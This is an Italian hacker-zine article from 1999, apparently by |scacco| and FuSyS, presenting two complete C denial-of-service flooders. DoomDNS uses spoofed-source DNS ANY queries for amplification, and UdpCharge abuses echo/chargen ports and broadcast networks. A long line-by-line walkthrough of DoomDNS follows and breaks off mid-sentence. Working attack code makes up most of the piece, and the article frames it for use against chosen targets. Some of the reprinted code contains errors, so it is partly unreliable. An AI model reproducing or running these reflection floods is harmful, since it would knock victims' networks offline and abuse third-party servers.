==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

----------------------[ D0S  VARi: iDEE A F0ND0 PERDUT0 ]---------------------
-----------------------------[ |scacco| & FuSyS ]-----------------------------

NO(C)1999 |scacco|, FuSyS
###############################################################################
PREREQUISITO: capitemi :) ..... secondo me DoSsare e' quanto di piu' banale ci
possa essere e talvolta il rischio di essere giudicati come lameroni e' ovvio
e meritato :P .... d'altra parte pero' questo tipo di approccio puo' servire
ai pochi per cominciare ad affinare uno stato mentale: capire ed ideare.
Probabilmente la maggior parte delle idee saranno gran belle ca!!ate [magari
proprio come queste che vedrete <g>], ma senza idee si rimane solo script kids
###############################################################################

--- D00MDNS & UDPCHARGE : iL C0DiCE ---

Ci sono due tipi di DoS: quelli che rompono, ed altri che rompono...
i coglioni alla gente :) .... stiamo parlando di nukes e flooders,
rispettivamente.

I nukers sono micidiali codicilli in grado di scardinare le scarse e deboli
paratie presenti all'interno di ogni kernel o stack esistente. I flooders
invece non sono altro che vampiri della preziosa banda che tanto anelate.

In questo mini articolo vedremo essenzialmente due flooders che si basano
sulla stessa tipologia [per i nukers dovrete aspettare che \sPIRIT\, |scacco|
ed io troviamo un po' di tempo libero insieme :P]

La tipologia e' quella classica basata sullo spoof dell'IP del poveraccio in
una serie di query a servizi piu' o meno pesanti, ma che cmq offrano
all'attaccante la possibilita' di aumentare l'effetto banda a scapito del
destinatario.

Vediamo prima i due codici per poi osservarne il funzionamento.

---------- snip ----------
/******************************************************************
*								  *
* DOOMDNS	Yet another flooder with 1:x pkts ratio. This one *
*		exploits DNS simple QUERY with spoofed UDPs.	  *
*		Since almost every DNS is bound to answer queries *
*		from the void, and since UDP doesn't provide a	  *
* 		fruitful authentication process cause plain TCP   *
*		does, uh !? ;) here we are.	  		  * 
*								  *
*		Why use DNS QUERY? Simple. We just want to make   *
*		sure we've got a real advantage against our nice  *
*		target so we look for a good I/O ratio. With just *
*		a few bytes (20-30) we can achieve responses of	  *
*		around 400-500 bytes. So we usually achieve a 20x *
*		ratio. Furthemore, every DNS reply will eligit	  *
*		ICMP unreach packets from the target since no UDP *
*		port will be open to accept data. A modem user	  *
*		confronted with large RR of type * (0xFF) will be *
*		flooded.					  *
*								  *
*			       hints by |scacco|, code by FuSyS   *
*			       http://www.s0ftpj.org              *
*								  *
******************************************************************/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>

#define IP_HEAD_BASE		20
#define UDP_HEAD_BASE		8

unsigned long saddr;
int sfd, loop;
char *dns_def[]={/* LISTA ASSENTE */ ,NULL};
char *domains[]={/* LISTA ASSENTE */ ,NULL};

struct DNS_MSG {
	HEADER head;
	char query[255];
};

struct dns_pkt {
	struct iphdr ip;
	struct udphdr udp;
	char data[1000];
};

unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;

  if((addr.s_addr=inet_addr(hostname)) == -1)
  {
    if(!(hostEnt=gethostbyname(hostname)))
    {
        fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname);
        exit(0);
    }
    bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  }
  return addr.s_addr;
}

void forge (unsigned long daddr, unsigned short src, unsigned short dst)
{
	struct sockaddr_in sin;
	struct dns_pkt dpk;
	struct DNS_MSG killer;
        int shoot, len;

	memset(&killer, 0, sizeof(killer));
	killer.head.id=getpid();
	killer.head.rd=1;
	killer.head.aa=0;
	killer.head.opcode=QUERY;
	killer.head.qr=0;
	killer.head.qdcount=htons(1);
	killer.head.ancount=htons(0);
	killer.head.nscount=htons(0);
	killer.head.arcount=htons(0);
	strcat(killer.query, domains[--loop]);
	killer.query[strlen(domains[loop])+2]=0x00FF; 
	killer.query[strlen(domains[loop])+4]=0x0001;

	memset(&dpk, 0, sizeof(dpk));

	dpk.udp.source=src;
	dpk.udp.dest=dst;
	len=(12+strlen(killer.query)+5);
	dpk.udp.len=htons(UDP_HEAD_BASE+len);
	memcpy(dpk.data, (void*)&killer, len);

	dpk.ip.ihl=5;
        dpk.ip.version=4;
        dpk.ip.tos=0;
	dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
	dpk.ip.frag_off=0;
	dpk.ip.ttl=64;
	dpk.ip.protocol=IPPROTO_UDP;
	dpk.ip.saddr=saddr;
	dpk.ip.daddr=daddr;

	memset(&sin, 0, sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=dst;
        sin.sin_addr.s_addr=daddr;

	shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,
                0, (struct sockaddr *)&sin, sizeof(sin));
	if(shoot<0)fprintf(stderr, "SPOOF ERROR");
	loop++;
}

void doomzone (void)
{
	unsigned long daddr;
	unsigned short source, dest;
	
	if(dns_def[loop]==NULL) loop=0;	
	daddr=nameResolve(dns_def[loop++]);
	source=htons(1024+(rand()%2000));
	dest=htons(53);
	forge(daddr, source, dest); 
}

int main (int argc, char **argv)
{
        int sfdo;
        unsigned int hz=100;

	if(argc<2) {
		fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
		fprintf(stderr, "Use: %s target [n]\n", argv[0]);
		exit(0);
	}

	if(argv[2]) hz=atoi(argv[2]);
	saddr=nameResolve(argv[1]);

	srand(time(NULL));

	if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
                fprintf(stderr, "\nSOCK_RAW Died\n");
                exit(2);
        }
        sfdo=1;
        if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) {
                fprintf(stderr, "\nIP_HDRINCL Died\n");
                exit(3);
        }

	printf("\n\033[1;32mD00M DNS\033[0m");
        printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m");
        printf("\n\033[1;34minithints by |scacco|\033[0m\n\n");

	loop=0;
	while(hz--) {
		doomzone();
		printf("\033[1;34m.\033[0m");
	}	
	printf("\n\n");
	return(0);
}
---------- snip ----------

---------- snip ----------
/******************************************************************
*								  *
* UDP CHARGE	Yet another flooder. This one exploits open UDP   *
*		inetd ports (7/19). By spoofing the target IP and *
*		using open broadcast (DUP) networks, we are able  *
*		to charge hard packets against the poorest :).	  *
*								  *
*			       hints by |scacco|, code by FuSyS	  * 
*					       [ S0ftPj | BFi ]   *
*					  http://www.s0ftpj.org	  *
*								  *
******************************************************************/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>

#define IP_HEAD_BASE		20
#define UDP_HEAD_BASE		8

unsigned long saddr;
int sfd, loop;
char *chargers[]={/* LISTA ASSENTE */ ,NULL}; 
char *newls="\n";
char killer[5000];

struct udp_pkt {
	struct iphdr ip;
	struct udphdr udp;
	char newline[10000];
};

unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;

  if((addr.s_addr=inet_addr(hostname)) == -1)
  {
    if(!(hostEnt=gethostbyname(hostname)))
    {
        fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname);
        exit(0);
    }
    bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  }
  return addr.s_addr;
}

void forge (unsigned long daddr, unsigned short src, unsigned short dst)
{
	struct sockaddr_in sin;
	struct udp_pkt egg;
        int shoot, len, i;

	memset(&egg, 0, sizeof(egg));
	memcpy(egg.newline, newls, strlen(newls));
	len=(UDP_HEAD_BASE+strlen(egg.newline));

	egg.udp.source=src;
	egg.udp.dest=dst;
	egg.udp.len=htons(len);

	egg.ip.ihl=5;
        egg.ip.version=4;
        egg.ip.tos=0;
	egg.ip.tot_len=htons(IP_HEAD_BASE+len);
	egg.ip.frag_off=0;
	egg.ip.ttl=64;
	egg.ip.protocol=IPPROTO_UDP;
	egg.ip.saddr=saddr;
	egg.ip.daddr=daddr;

	memset(&sin, 0, sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=dst;
        sin.sin_addr.s_addr=daddr;

	shoot=sendto(sfd, &egg,IP_HEAD_BASE+len,
                0, (struct sockaddr *)&sin, sizeof(sin));
	if(shoot<0)fprintf(stderr, "SPOOF ERROR");

	egg.udp.dest=htons(7);
	for(i=0;i>10000;i++)
		memcpy(&egg.newline[i], "A", 1);
	egg.udp.len=htons(UDP_HEAD_BASE+10000);
	egg.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+10000);
	sin.sin_port=htons(7);

	shoot=sendto(sfd, &egg,IP_HEAD_BASE+len,
                0, (struct sockaddr *)&sin, sizeof(sin));
        if(shoot<0)fprintf(stderr, "SPOOF ERROR");
}

void udpcharge (void)
{
	unsigned long daddr;
	unsigned short source, dest;
	
	if(chargers[loop]==NULL) loop=0;	
	daddr=nameResolve(chargers[loop++]);
	source=htons(1024+(rand()%2000));
	dest=htons(19);
	forge(daddr, source, dest); 
}

int main (int argc, char **argv)
{
        int sfdo;
        unsigned int hz=100;

	if(argc<2) {
		fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
		fprintf(stderr, "Use: %s target [n]\n", argv[0]);
		exit(0);
	}

	if(argv[2]) hz=atoi(argv[2]);
	saddr=nameResolve(argv[1]);

	srand(time(NULL));

	if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
                fprintf(stderr, "\nSOCK_RAW Died\n");
                exit(2);
        }
        sfdo=1;
        if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) {
                fprintf(stderr, "\nIP_HDRINCL Died\n");
                exit(3);
        }

	printf("\n\033[1;32mUDP CHARGE\033[0m");
        printf("\n\033[1;34mUDP Flooder by FuSyS\033[0m");
        printf("\n\033[1;34mbased on fraggle\033[0m\n\n");

	loop=0;
	while(hz--) {
		udpcharge();
		printf("\033[1;34m.\033[0m");
	}	
	printf("\n\n");
	return(0);
}
---------- snip ----------

DoomDNS fa una cosa molto semplice: invia una query di tipo ANY ad un server
DNS da parte di un IP. A questo punto cosa succede? Semplice. Inviamo una
semplice e banale richiesta con una ventina di byte, per ottenerne una di
350-600 byte a seconda del server.

Per poter operare la richiesta abbiamo bisogno di una nuova serie di header
come <arpa/nameser.h> per poter poi specificare una struttura di tipo
DNS_MSG che contiene l'header "interessante" per i nostri scopi:

		struct DNS_MSG {
	        	HEADER head;
		        char query[255];
		};
		
In forge() modifichiamo l'header in modo che contenga una sola richiesta al
server del tipo desiderato, dopodiche' la copiamo con memcpy() all'interno del
solito e ormai [spero, con tutto quello che scrivo ;)] banale spoof UDP.

Nota tecnica: per le query verso il DNS non basta l'IP numerico del server, ma
anche il nome del dominio da gestire con la query. Questo non viene inserito
come semplice stringa, ma encodato in un modo comprensibile dai nameserver.

Per poter capire come utilizzare il codice e come riempire l'array di
puntatori a carattere domains[] consultate l'ottimo :PPP RFC1035.

Porte sorgenti casuali e destinazione sulla 53 dei server completano il
quadro. Perche' casuali? Due motivi: creeranno una tempesta di ICMP_UNREACH
per porte UDP NON aperte sul bersaglio e potrebbero anche colpire porte
aperte, cosi' interferendo con la normale operazione di quei servizi.

UdpCharge invece sfrutta porte aperte da inetd, come la 7 e la 19 per
poterle colpire con richieste. Se a questo aggiungiamo la possibilita' di
utilizzare LAN broadcast (come quelle usate da SMURF) si puo' capire come
questo diventi una vera e propria gragnuola di colpi piu' o meno pesanti per
il bersaglio, ma facilmente gestibili per un attaccante con la dovuta banda.

In nessuno dei due codici acclusi e' presente la lista di server da utilizzare
ne' tantomeno la lista delle LAN broadcast per rimbalzare. Sono sicuro che vi
divertirete un mondo cercandole :)

-- D00MDNS : C0ME FUNZi0NA ---

FuSyS lo fa ed io ve lo spiego!
Dopo aver accennato a FuSyS sul problema udp dei DNS il D.O.S e'stato
preparato. Come funziona DOOMDNS? Semplice, iniziamo ad analizzare le singole
funzioni:

unsigned long nameResolve(char *hostname)
{
	struct in_addr addr;
	struct hostent *hostEnt;

	if((addr.s_addr=inet_addr(hostname)) == -1)
		{
			if(!hostEnt=gethostbyname(hostname)))
			{
				fprintf(stderr,"NO SUCH HOST: %s\n),hostname);
				exit(0);
			}
			bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_lenght);
		}
		return addr.s_addr;
}

Questa funzione ha il compito di risolvere l'hostname del target, bovinamente
deve convertire il nome di un host nel suo ip. Infatti accetta come parametro
una variabile carattere che vedremo in seguito essere prorio argv[1] cioe' il
parametro che passiamo al programma. All'inizio della routine vengono create
2 strutture e precisamente struct in_addr addr e struct hostent *hostEnt,
nella struttura addr verra' memorizzato il nome risolto mentre la struttura
hostEnt ha il compito di lavorare fisicamente sul nome del target.
if((addr.s_addr=inet_addr(hostname)) == -1) questo if cerca di memorizzare
all'interno di addr.s_addr indirizzo ip dell'host, se questo e' gia'
sottoforma di 4 ottetti il risultato viene restituito immediatamente,
altrimenti e' necessario risolvero e questa necessita' e' data dalla
restituzione di -1. if(!hostEnt=gethostbyname(hostname))) questa sintassi
compressa cerca di risolvere l'hostname, ma se la risoluzione fallisce
visualizza tramite fprintf il messaggio di errore (notate la finesse
dell'fprintf, io da programmatore bovino mi sarei limitato ad un classicissimo
printf). Se la risoluzione avviene in modo corretto dobbiamo trasferire il
risultato contenuto in hostEnt all'interno della struttura addr, cio' avviene
tramite l'istruzione bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_lenght) :
questa sembra una istruzioncina semplice, ma in realta' contiene alcuni
aspetti molto interessanti. La sintassi va letta da sinistra verso destra,
praticamente il valore della variabile hostEnt->h_addr viene passato tramite
un casting (conversione di tipo) alla locazione di memoria puntata da
addr.s_addr, controllando che il trasferimento di dati sia limitato alla
vera lunghezza dell'hostname risolto tramite la variabile hostEnt->h_lenght.
Questa e' un'altra finesse del nostro amico FuSyS per controllare il buffer
(mai sentito parlare di buffer overflow o stack smashing?). A questo punto la
variabile add.s_addr puo' essere restituita.

unsigned short ip_fast_csum(unsigned char *iph, unsigned long ihl)
	unisgned long sum;
	__asm__ __volatile__("
		movl (%1), %0
		subl $4, %2
		jbe 2f
		addl 4(%1), %0
		adcl 8(%1), %0
		adcl 12(%1), %0
1:		adcl 16(%1), %0
		lea 4(%1), %1
		decl %2
		jne 1b
		adcl $0, %0
		movl %0, %2
		shrl $16, %0
		addw %w2, %w0
		adcl $0, %0
		notl %0
2:
		"
	:  "=r" (sum), "=r" (iph), "=r" (ihl)
	:  "1" (iph), "2" (ihl));
	return(sum);
}

Il compito di questa funzione e' di calcolare il checksum per l'header ip,
esistono 12000 versioni per eseguire questa funzione, forse questa risulta
essere la migliore in quanto utilizza pure assembler. Se desiderate
informazioni dettagliate sul funzionamento di questo codice dovete chiedere a
\sPIRIT\ che lo fa di lavoro. Per chi si accontenta, in queste righe di codice
vengono presi in considerazione l'header del pacchetto (iph) e la sua
dimensione (ihl) e viene eseguito (tradotto spannometricamente dall'inglese)
il complemento a 2 del complemento a 2 delle 16 word dell'header. Lo so che
e' una cosa da flippati, ma se non volete che il vostro pacchettino venga
sputato dal primo router che incontra dovete calcolarvelo!

void forge(unsigned long daddr, unsigned short src, unsigned short dst)
{
	struct sockaddr_in sin;
	struct dns_packet dpk;
	struct DNS_MSG killer;
	int shoot, len;
	memset(&killer, 0, sizeof(killer));
	killer.head.id=getpid();
	killer.head.rd=1;
	killer.head.aa=0;
	killer.head.opcode=QUERY;
	killer.head.qr=0;
	killer.head.qdcount=htons(1);
	killer.head.ancount=htons(0);
	killer.head.nscount=htons(0);
	killer.head.arcount=htons(0);
	strcat(killer.query, domains[--loop]);
	killer.query[strlen(domains[loop])+2]=0x00FF;
	killer.query[strlen(domains[loop])+4]=0x0001;

	memset(&dpk, 0, sizeof(dpk));
	dpk.udp.source=src;
	dpk.udp.dest=dst;
	len=(12+strlen(killer.query)+5);
	dpk.udp.len=htons(UDP_HEAD_BASE+len);
	memcpy(dpk.data, (void*)&killer, len);
	
	dpk.ip.ihl=5;
	dpk.ip.version=4;
	dpk.ip.tos=0;
	dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
	dpk.ip.frag_off=0;
	dpk.ip.ttl=64;
	dpk.ip.protocol=IPPROTO_UDP;
	dpk.ip.saddr=saddr;
	dpk.ip.daddr=daddr;

	memset(&sin, 0, sizeof(sin));
	sin.sin_family=AF_INET;
	sin.sin_port=dst;
	sin.sin_addr.s_addr=daddr;
   shoot=sendto(sdf, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,0,(struct sockaddr *)&sin, sizeof(sin));
	if(shoot<0)fprintf(stderr, "SPOOF ERROR");
	loop++;
}

Eccoci qui, come e' facile intuire dal nome (forge) questa funzione ha il
compito di generare il pacchetto da inviare, questo pacchetto e' composto da
tre parti principali: un header ip, un header udp e una sezione dati che nel
nostro caso corrisponde ad un header dns. Questa funzione utilizza tre
parametri cioe' daddr, src e dst. daddr e' l'indirizzo ip di destinazione,
src e' la porta sorgente e dst e' la porta di destinazione, il primo parametro
verra' utilizzato nella creazione dell'header ip mentre i seguenti 2 per la
creazione dell'header udp. L'istruzione struct sockkaddr_in sin; genera una
struttura sin derivandola da sockkaddr_in che nel file di include e' definita
nel seguente modo:

struct sockaddr_in {
  short int		sin_family;	/* Address family		*/
  unsigned short int	sin_port;	/* Port number			*/
  struct in_addr	sin_addr;	/* Internet address		*/
  /* Pad to size of `struct sockaddr'. */
  unsigned char		__pad[__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)];
};

Questa struttura viene utilizzata per descrivere l'indirizzamento ip. Di
seguito troviamo l'istruzione struct dns_packet dpk; che dichiara una
struttura dpk derivante da dns_packet: questa struttura principale e'
definita come:

struct dns_pkt {
 struct iphdr ip;
 struct udphdr udp;
 char data[1000];
};

Notate anche in questo caso la finesse del nostro amico FuSyS: ha dichiarato
in una struttura la forma finale del pacchetto da inviare, se vi ricordate
prima vi ho detto che il pacchetto era diviso in tre parti, l'header ip
(struct iphdr ip;), l'header upd (struct udphdr udp;) e l'header DNS (char
data[1000];). Ricordate che l'ip non conosce il protocollo DNS e per questo
motivo dobbiamo considerarlo forzatamente un gruppo di dati generici.
Tramite la struttura struct DNS_MSG killer; definita nel seguente modo:

struct DNS_MSG {
 HEADER head;
 char query[255];
};

Andiamo a generare la struttura che dovra' contenere il nostro pacchetto DNS
all'interno del pacchetto ip e piu' precisamente nella sezione data. La
definizione HEADER e' un'ulteriore struttura all'interno di DNS_MSG ed e'
definita nel file arpa/nameser.h nel seguente modo:

typedef struct {
	unsigned	id :16;		/* query identification number */
#if __BYTE_ORDER == __BIG_ENDIAN			
/* fields in third byte */
	unsigned	qr: 1;		/* response flag */
	unsigned	opcode: 4;	/* purpose of message */
	unsigned	aa: 1;		/* authoritive answer */
	unsigned	tc: 1;		/* truncated message */
	unsigned	rd: 1;		/* recursion desired */
			/* fields in fourth byte */
	unsigned	ra: 1;		/* recursion available */
	unsigned	pr: 1;		/* primary server req'd (!standard) */
	unsigned	unused :2;	/* unused bits (MBZ as of 4.9.3a3) */
	unsigned	rcode :4;	/* response code */
#endif
#if __BYTE_ORDER == __LITTLE_ENDIAN || __BYTE_ORDER == __PDP_ENDIAN
			/* fields in third byte */
	unsigned	rd :1;		/* recursion desired */
	unsigned	tc :1;		/* truncated message */
	unsigned	aa :1;		/* authoritive answer */
	unsigned	opcode :4;	/* purpose of message */
	unsigned	qr :1;		/* response flag */
			/* fields in fourth byte */
	unsigned	rcode :4;	/* response code */
	unsigned	unused :2;	/* unused bits (MBZ as of 4.9.3a3) */
	unsigned	pr :1;		/* primary server req'd (!standard) */
	unsigned	ra :1;		/* recursion available */
#endif
			/* remaining bytes */
	unsigned	qdcount :16;	/* number of question entries */
	unsigned	ancount :16;	/* number of answer entries */
	unsigned	nscount :16;	/* number of authority entries */
	unsigned	arcount :16;	/* number of resource entries */
} HEADER;

Con queste tre dichiarazioni di strutture abbiamo predisposto il tutto per la
generazione del nostro pacchetto, ora non ci resta che riempire queste
strutture con un minimo di criterio. Vengono anche definite 2 variabili shoot
e len, la prima servira' per determinare se il pacchetto e' stato inviato nel
modo sbagliato, la seconda per registrare la lunghezza dell'header.
L'istruzione memset(&killer, 0, sizeof(killer)); predispone un'area di memoria
nella locazione puntata dalla struttura killer (&killer) della dimensione
della struttura stessa riempiendola di 0. Questa operazione e' indispensabile
in quanto servira' come inizialized data per il nostro pacchetto. Se avete
letto quanto detto prima killer rappresenta il nostro messaggio DNS che andra'
oppurtunamente creato. Cerchero' di spiegarvi brevemente il significato di
ogni valore della struttura, per avere informazioni molto piu' dettagliate
dovete consultare i numerosi RFC, li trovate su ftp.ripe.net oppure potete
usare l'utile motore di ricerca fornito da www.cgi.interbusiness.it .
- killer.head.id=getpid();
 La variabile id viene utilizzata per assegnare un numero identificativo ad
 un pacchetto DNS, pensate alla classica situazione in cui diversi host
 dietro ad un firewall eseguano una richiesta di risoluzione sullo stesso DNS
 Server, se non vi fosse un id si creerebbe una notevole confusione con la
 conseguente perdita di pacchetti, l'id di una query DNS e' definito
 dall'utente che invia la richiesta. Nel nostro caso questo valore non riveste
 alcuna importanza ed e' stato assegnato tramite la funzione getpid() che
 restituisce un intero rappresentante il numero del processo del nostro
 programma.
- killer.head.rd=1;
 Questa variabile che e' veramente simile ad un flag informa il server dns
 che la richiesta richiede, o meglio, puo' richiedere una ricerca recursiva,
 cio' implica che se la richiesta effettuata non ha risposta sul server, lo
 stesso deve cercarla. E' stato utilizzato questo flag in quanto la nostra
 ricerca deve comunque portare risultati.
- killer.head.aa=0;
 Il flag aa rappresenta una risposta di tipo autoritativo. Questo valore viene
 utilizzato durante una risposta da parte di un name server che possa esaudire
 la richiesta e sia autorizzato a farlo. Viene settato a 0 in quanto la nostra
 e' una domanda e non una richiesta e specificare che possediamo una risposta
 autoritativa in una domanda sarebbe abbastanza stupido.
- killer.head.opcode=QUERY;
 Come e' facile intuire la variabile opcode e' utilizzata per informare il
 server dns sul tipo di dati in arrivo, nel nostro caso viene effettuata una
 richiesta e quindi il valore e' impostato a QUERY, QUERY non e' il vero
 valore, ma e' un define.
- killer.head.qr=0;
 Qr rappresenta il flag di risposta, cioe' specifica che il pacchetto possiede
 una risposta ad una domanda precedentemente avvenuta, anche in questo caso
 per noi corrisponde a 0 inquanto stiamo effettuando una domanda.
- killer.head.qdcount=htons(1);
 La variabile qdcount rappresenta il numero di richieste contenute nel
 pacchetto, nel nostro caso questo valore e' settato a 1, *** parere personale
 *** forse si potrebbe lavorare su questo flag per ottenere una maggiore
 amplificazione, ne parlero' con FuSyS.
- killer.head.ancount=htons(0);
 La variabile ancount rappresenta il numero delle risposte presenti nel
 pacchetto, come sempre il nostro pacchetto e' una domanda e non conterra'
 nessun tipo di risposta.
- killer.head.nscount=htons(0);
 La variabile nscount rappresenta il numero dei server autoritativi per una
 risposta individuati; noi stiamo facendo una domanda: per questo motivo il
 flag deve essere settato a 0. D'ora in poi non specifichero' piu' che stiamo
 facendo una query perche' credo che sia abbastanza chiaro a questo punto
 della lettura.
- killer.head.arcount=htons(0);
 La variabile arcount contiene il numero delle risorse del pacchetto DNS,
 l'invio non richiede risorse.
- strcat(killer.query, domains[--loop]);
 Tramite strcat si assegna alla variabile killer.query il valore memorizzato
 all'interno dell'array puntato da --loop. L'array domains viene dichiarato
 all'inizio del file nella seguenta forma:
 char *domains["\x3ibm\003com\x0", "\003aol\003com\x0" ecc...
 come potete immaginare \x3ibm\003com\x0 sta per ibm.com, se volete sapere il
 perche' di questa sintassi dovete informarvi sul protocollo DNS.
 La variabile loop dichiarata come int specifica la posizione all'interno
 dell'array e la sintassi compressa --loop significa che a killer.query viene
 assegnato il valore decrementando loop ogni ciclo.
- killer.query[strlen(domains[loop])+2]=0x00FF;
 All'interno di killer.query vanno anche inseriti dei parametri. Vi devo
 ricordare che a sua volta killer.query e' un array. Per inserire i parametri
 nell'array senza sovrascrivere il valore inserito tramite
 strcat(killer.query, domains[--loop]); dobbiamo spostarci all'interno
 dell'array stesso e per fare cio' utilizziamo [strlen(domains[loop])+2] dove
 strlen(domains[loop]) fornisce la lunghezza in byte del dns immesso a cui
 viene sommato 2. A  questo punto possiamo inserire il valore 0x00FF che
 rappresenta il numero delle risposte che richiediamo.
- killer.query[strlen(domains[loop])+4]=0x0001;
 La stessa procedura e' utilizzata per inserire nella variabile killer.query
 il valore 0x0001 che corrisponde in esadecimale al numero delle richieste
 contenute nel pacchetto. Nel nostro caso  corrisponde a 1.
- memset(&dpk, 0, sizeof(dpk));
 Questa istruzione ha lo stesso significato di memset(&killer, 0, sizeof(killer));
- dpk.udp.source=src;
 In questo caso stiamo costruendo un pacchetto udp, nella variabile
 dpk.udp.source dobbiamo andare ad inserire il valore della porta sorgente.
- dpk.udp.dest=dst;
 Nella variabile dpk.udp.dest dobbiamo andare ad inserire il valore della
 porta di destinazione che nel caso di una query dns sara' sempre e comunque
 53.
-len=(12+strlen(killer.query)+5);
 Dobbiamo calcolare la lunghezza del nostro pacchetto udp. Per fare cio'
 aggiungiamo 17 alla dimensione della nostra query dns. Questa comunque non
 risulta essere la dimensione corretta infatti...
-dpk.udp.len=htons(UDP_HEAD_BASE+len);
 Andiamo a memorizzare all'interno della variabile dpk.udp.len (che come
 avrete capito e' proprio la lunghezza del pacchetto) il valore di len
 sommato ad UDP_HEAD_BASE che e' definito all'inizio del file come
 #define UPD_HEAD_BASE 8.
- memcpy(dpk.data, (void*)&killer, len);
 Tramite questa istruzione andiamo a copiare nello spazio di memoria riservato
 ai dati del pacchetto udp il pacchetto killer che e' la query dns, la
 variabile len definisce la quantita' di dati da copiare.
- dpk.ip.ihl=5;
 In questa sezione andiamo a completare la parte ip del pacchetto. La prima
 variabile rappresenta la lunghezza dell'header (Ip Header Lenght) a cui e'
 assegnato il valore 5.
- dpk.ip.version=4;
 Come e' facile intuire la variabile version rappresenta la versione di ip su
 cui stiamo lavorando, cioe' 4. Pare che presto passeremo a 6, chi vivra'
 vedra'. Noi per sicurezza mettiamo 4 non vogliamo precedere i tempi.
- dpk.ip.tos=0;
 La variabile tos (Type Of Service) specifica alcune proprieta' del pacchetto.
 Questa variabile e' stata settata a zero e sicuramente FuSyS avra' avuto i
 suoi buoni motivi, cio' non toglie che la mia idea sia quella di cambiare
 questo valore per incrementare il troughtput cioe' ottimizzare il pacchetto
 in modo che sfrutti totalmente la banda. Pare che questo valore influenzi
 soprattutto i router cisco... ormai ci vivo in mezzo e ne vorrei uno
 applicato all'orecchio.
- dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
 Come in precedenza dobbiamo specificare la lunghezza complessiva del
 pacchetto e questa volta e' ottenuta tramite la somma di IP_HEAD_BASE,
 UDP_HEAD_BASE e len. Voglio ricordarvi che IP_HEAD_BASE e' definito come:
 #define IP_HEAD_BASE 20.
- dpk.ip.frag_off=0;
 La variabile frag_off rappresenta lo spiazzamento di questo pacchetto
 rispetto al frammento precedente (fare riferimento a frammentazione e
 simili). Nel nostro caso non vi sono precedenti frammenti e questo valore
 deve essere settato a 0.
- dpk.ip.ttl=64;
 La variabile ttl (Time To Live) rappresenta il numero massimo di hop che il
 pacchetto puo' eseguire prima di essere scartato. Ogni volta che il pacchetto
 passa un hop questo valore viene decrementato di 1. Se il valore diventa
 uguale a 0 l'hop seguente e' obbligato a scartarlo. Diciamo che per la
 dimensione attuale di internet questo valore e' piu' che sufficiente, per
 sicurezza si potrebbe utilizzare 255, ma per non essere il solito
 smanettatore di pacchetti FuSyS ci mette del suo anche in questo caso.
- dpk.ip.protocol=IPPROTO_UDP;
 Nella variabile protocol dobbiamo specificare quale protocollo segue il 
 pacchetto ip in modo tale che l'host ricevente sappia come comportarsi.
 IPPROTO_UDP non e' il vero parametro inviato, infatti questo valore deve
 essere numerico, utilizziamo la forma letterale in quanto e' piu' 
 semplice, i numeri assegnati (vedere rfc assigned numbers) sono tantissimi.
- dpk.ip.saddr=saddr;
 Nella variabile saddr e' memorizzato l'ip sorgente che nel nostro caso sara'
 l'ip del nostro target.. si' questo puo' sembrare un paradosso, in realta'
 e' abbastanza chiaro... Colui che deve ricevere la risposta del dns non
 siamo noi, ma e' il povero flooded.
- dpk.ip.daddr=daddr;
 Per la variabile daddr vale lo stesso discorso, dobbiamo specificare la
 destinazione del nostro pacchetto che sara' il name server selezionato.
- memset(&sin, 0, sizeof(sin));
 Come visto in precedenza questa istruzione carica in memoria la struttura
 sin. Questa struttura e' utilizzata come trasportatore di alto livello,
 infatti...
- sin.sin_family=AF_INET;
 La variabile sin_family viene settata al valore di AF_INET cioe' stiamo
 lavorando con pacchetti internet.
- sin.sin_port=dst;
 Tramite sin_port viene specificata come precedentemente la porta di
 destinazione che nel nostro caso e' 53.
- sin.sin_addr.s_addr=daddr;
 Nella variabile s_addr dobbiamo andare a specificare l'ip sorgente che, come
 detto prima, nel nostro caso e' la destinazione.
- shoot=sendto(sdf, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,0,(struct sockaddr *)&sin, sizeof(sin));
 Eccoci al passaggio chiave, tramite questa funzione inviamo il pacchetto, da
 notare che shoot e' dichiarato integer in quanto vogliamo che in questa
 variabile venga restituito un codice di errore che se risulta essere
